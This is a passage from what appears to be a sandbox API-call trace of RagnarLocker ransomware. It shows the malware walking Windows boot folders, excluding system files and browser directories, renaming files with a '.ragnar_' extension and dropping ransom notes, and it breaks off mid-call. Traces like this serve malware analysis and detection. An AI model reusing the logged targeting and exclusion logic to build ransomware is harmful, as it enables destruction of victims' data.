lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.267] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.267] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.267] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.267] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.267] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.267] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.267] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0047.267] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.267] CloseHandle (hObject=0xffffffff) returned 0 [0047.267] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" [0047.267] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.267] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.267] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0047.267] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\en-US\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.267] lstrcpyW (in: lpString1=0x1ecb94, lpString2="memtest.exe.mui" | out: lpString1="memtest.exe.mui") returned="memtest.exe.mui" [0047.267] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui") returned=".mui" [0047.267] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.267] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="autorun.inf") returned 1 [0047.268] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="boot.ini") returned 1 [0047.268] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="bootfont.bin") returned 1 [0047.268] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="bootsect.bak") returned 1 [0047.268] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="bootmgr") returned 1 [0047.268] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.268] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.268] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="desktop.ini") returned 1 [0047.268] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="iconcache.db") returned 1 [0047.268] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="ntldr") returned -1 [0047.268] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="ntuser.dat") returned -1 [0047.268] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.268] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="ntuser.ini") returned -1 [0047.268] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="thumbs.db") returned -1 [0047.268] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.268] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.268] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.268] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.268] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.280] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.289] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0047.291] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.296] CloseHandle (hObject=0xffffffff) returned 0 [0047.296] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui") returned="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" [0047.296] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.ragnar_FD7BD9FC" [0047.296] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.296] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6aa480, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e6aa480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.296] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\en-US\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.296] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.296] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\en-US\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.296] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.296] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6aa480, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e6aa480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.296] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.297] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0047.297] lstrcmpiW (lpString1="es-ES", lpString2=".") returned 1 [0047.297] lstrcmpiW (lpString1="es-ES", lpString2="..") returned 1 [0047.297] lstrcmpiW (lpString1="es-ES", lpString2="Windows") returned -1 [0047.297] lstrcmpiW (lpString1="es-ES", lpString2="Windows.old") returned -1 [0047.297] lstrcmpiW (lpString1="es-ES", lpString2="Tor browser") returned -1 [0047.297] lstrcmpiW (lpString1="es-ES", lpString2="Internet Explorer") returned -1 [0047.297] lstrcmpiW (lpString1="es-ES", lpString2="Google") returned -1 [0047.297] lstrcmpiW (lpString1="es-ES", lpString2="Opera") returned -1 [0047.297] lstrcmpiW (lpString1="es-ES", lpString2="Opera Software") returned -1 [0047.297] lstrcmpiW (lpString1="es-ES", lpString2="Mozilla") returned -1 [0047.297] lstrcmpiW (lpString1="es-ES", lpString2="Mozilla Firefox") returned -1 [0047.297] lstrcmpiW (lpString1="es-ES", lpString2="$Recycle.Bin") returned 1 [0047.297] lstrcmpiW (lpString1="es-ES", lpString2="ProgramData") returned -1 [0047.297] lstrcmpiW (lpString1="es-ES", lpString2="All Users") returned 1 [0047.297] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.297] lstrcpyW (in: lpString1=0x1ed660, lpString2="es-ES" | out: lpString1="es-ES") returned="es-ES" [0047.297] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\es-ES", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\es-ES\\") returned="\\\\?\\C:\\Boot\\es-ES\\" [0047.297] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\es-ES\\" | out: lpString1="\\\\?\\C:\\Boot\\es-ES\\") returned="\\\\?\\C:\\Boot\\es-ES\\" [0047.297] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\es-ES\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\es-ES\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\es-ES\\RGNR_FD7BD9FC.txt" [0047.297] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\es-ES\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\es-es\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.300] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\es-ES\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\es-ES\\*.*") returned="\\\\?\\C:\\Boot\\es-ES\\*.*" [0047.300] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\es-ES\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.300] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.300] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e6f6740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.300] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.300] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e6f6740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.300] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.300] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.300] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.300] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.300] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.300] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6f6740, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.300] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.300] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.300] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6f6740, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.300] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e6f6740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.301] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e6f6740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.301] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.301] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\es-ES\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.301] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.301] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui") returned=".mui" [0047.301] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.301] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.301] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.301] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.301] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.301] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.301] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.301] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.301] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.301] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.301] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.301] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.301] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.301] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.301] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.301] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.301] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.301] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.301] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.301] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.301] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.301] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0047.302] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.302] CloseHandle (hObject=0xffffffff) returned 0 [0047.302] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" [0047.302] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.302] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.302] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6f6740, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.302] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\es-ES\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.302] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.302] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\es-ES\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.302] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.302] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6f6740, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e6f6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.302] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.302] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0047.302] lstrcmpiW (lpString1="fi-FI", lpString2=".") returned 1 [0047.302] lstrcmpiW (lpString1="fi-FI", lpString2="..") returned 1 [0047.302] lstrcmpiW (lpString1="fi-FI", lpString2="Windows") returned -1 [0047.302] lstrcmpiW (lpString1="fi-FI", lpString2="Windows.old") returned -1 [0047.302] lstrcmpiW (lpString1="fi-FI", lpString2="Tor browser") returned -1 [0047.302] lstrcmpiW (lpString1="fi-FI", lpString2="Internet Explorer") returned -1 [0047.302] lstrcmpiW (lpString1="fi-FI", lpString2="Google") returned -1 [0047.302] lstrcmpiW (lpString1="fi-FI", lpString2="Opera") returned -1 [0047.302] lstrcmpiW (lpString1="fi-FI", lpString2="Opera Software") returned -1 [0047.303] lstrcmpiW (lpString1="fi-FI", lpString2="Mozilla") returned -1 [0047.303] lstrcmpiW (lpString1="fi-FI", lpString2="Mozilla Firefox") returned -1 [0047.303] lstrcmpiW (lpString1="fi-FI", lpString2="$Recycle.Bin") returned 1 [0047.303] lstrcmpiW (lpString1="fi-FI", lpString2="ProgramData") returned -1 [0047.303] lstrcmpiW (lpString1="fi-FI", lpString2="All Users") returned 1 [0047.303] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.303] lstrcpyW (in: lpString1=0x1ed660, lpString2="fi-FI" | out: lpString1="fi-FI") returned="fi-FI" [0047.303] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\fi-FI", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\fi-FI\\") returned="\\\\?\\C:\\Boot\\fi-FI\\" [0047.303] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\fi-FI\\" | out: lpString1="\\\\?\\C:\\Boot\\fi-FI\\") returned="\\\\?\\C:\\Boot\\fi-FI\\" [0047.303] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\fi-FI\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\fi-FI\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\fi-FI\\RGNR_FD7BD9FC.txt" [0047.303] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\fi-FI\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\fi-fi\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.305] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\fi-FI\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\fi-FI\\*.*") returned="\\\\?\\C:\\Boot\\fi-FI\\*.*" [0047.305] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\fi-FI\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.305] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.305] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.305] FindFirstFileW (in: 